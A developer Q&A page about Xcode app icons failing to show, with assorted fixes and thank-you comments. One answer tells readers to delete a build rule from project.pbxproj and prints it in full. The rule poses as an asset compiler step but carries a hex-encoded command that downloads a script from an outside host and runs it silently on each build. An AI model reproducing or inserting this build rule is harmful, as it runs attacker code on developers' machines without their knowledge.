Xcode 10 app icon not showing
Solution 1
On 6/19/18 Apple released Xcode 10. beta 2. Upgrading solved the problem I was having with icons not appearing. So, a bug in Xcode 10.0 I guess.
Solution 2
I've been battling with this all day, it wouldn't show up in the simulator or a real device.
Eventually I got it to work by making sure the Target Membership for the AppIcon was set to the app name and that the Location was "Relative to Project".
Solution 3
if you are using Xcode 13 & iOS 15
- Install the app & Restart the device.
app icon shows on device.
Another tricky solution, but dont use (it's only for testing purpose,not a best solution.
- Change the bundle identifier & run the project
Solution 4
In my case these two options were set wrongly
Solution 5
I have the same issues on xCode 12.5 All icons are working but only app icons are not showing on iPad and iPhone.
Solution
YouProject.xcodeproj -> Show Package Contents -> project.pbxproj -> open
-
Find out the blow code
-
Remove code block
-
build project and run your app.
/ Begin PBXBuildRule section / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / End PBXBuildRule section /
Comments
-
Vlad almost 2 years
Recently updated to Xcode 10 beta and my App that previously has correct icon displayed when built and ran from Xcode 9.4 to device now shows the default blank icon when running in Xcode 10.
When opening AppIcon asset it shows icon correctly in all the placeholders without any warning icons. When tapping on new "Show Slicing" I do not see anything.
Anyone any clues how to fix this so app icon shows?
-
Vlad almost 6 yearsI have tried this and checked my asset catalog selected for my target and it is correct. Tried updating it back and forth but this did not fix things.
-
Justin almost 6 yearsI've been trying to resolve this exact same issue all day today to no avail. Worked fine before updating to xCode 10 beta :( All the AppIcon assets are added where and how they're supposed to be, and the AppIcon source is correctly referencing this asset set. Everything is added to the target correctly as well... yet on my real device's home screen, the app icon still appears blank (default). Hopefully a solution is discovered soon! It's bugging me lol.
-
Jonas almost 6 yearsI think this is something to do with the Xcode 10 Beta, as I have both Xcode 9.4 and the Xcode 10 beta and works fine with 9.4, Beta is a kind of testing mode, maybe they will fix it.
-
Vlad almost 6 yearsFiled Radar with Apple and was closed with "DUPLICATE OF 40507731" so it seems this is Xcode 10 issue in beta, have not yet found any workaround for this.
-
Vlad almost 6 yearsTried both changes and this did not fix the issue. Still getting the empty icon.
-
Taka almost 6 yearsThis fixed the problem in my case. After updating "Command Line Tools" to "Xcode 10.0", the "App Icon Source" setting in the project was deselected. I selected the "AppIcon" of the Asset Catalog again and the app icon started to appear. I'm using Xcode 10 beta 2.
-
Milander almost 6 yearsThx, This in combination with the answer of edison (stackoverflow.com/a/50929189/2164516) did work for me :)
-
kakyo almost 5 yearsIn my case, I accidentally removed
CFBundleIconFile
fromInfo.plist
and simply couldn't see theApp Icons and Launch Images
option until I added the property back. -
Victor Sena de Lima Attar over 3 yearsAfter 4 hours, this saved me! Thanks!
-
Vishal Chaudhry about 3 yearsThanks for the answer. I was able to fix the issue by unchecking target membership of the Assets catalog folder, built the app (which gave an error) and then setting back the target membership to the app name. I did not have to change the Location setting which remains as "Relative to Group" (XCode 12.4 - 12D4e)
-
Muhammad Farooq almost 3 yearsThis answer worked for me. I spend the whole day and finally got the solution.
-
Mikael Weiss almost 3 yearsSame issue here. That fixed it. Thank you!!
-
Jason Chen over 2 yearsxcode 13 & iOS15, this worked for me
-
Miroslav Maksimovic over 2 yearsYea, exactly that worked for me too, with xcode 13 and IOS 15
-
Cristi Băluță over 2 yearsNot good, after rebuilding the app the icon disappears again. Xcode13 iOS15
-
ambientlight over 2 yearsextremely surprised by this but it did work
-
makkuzu over 2 yearsVersion 13.2.1 and it was still persisting until I changed my bundle identifier by changing capital letters to lower case. I think there is a problem with capital letters.
-
Jay Ordway over 2 yearsIt certainly isn't ideal to have to restart the device. Is Apple addressing this issue?
-
Bharat Nakum about 2 yearsPerfect solution. Worked like a charm. Thank you.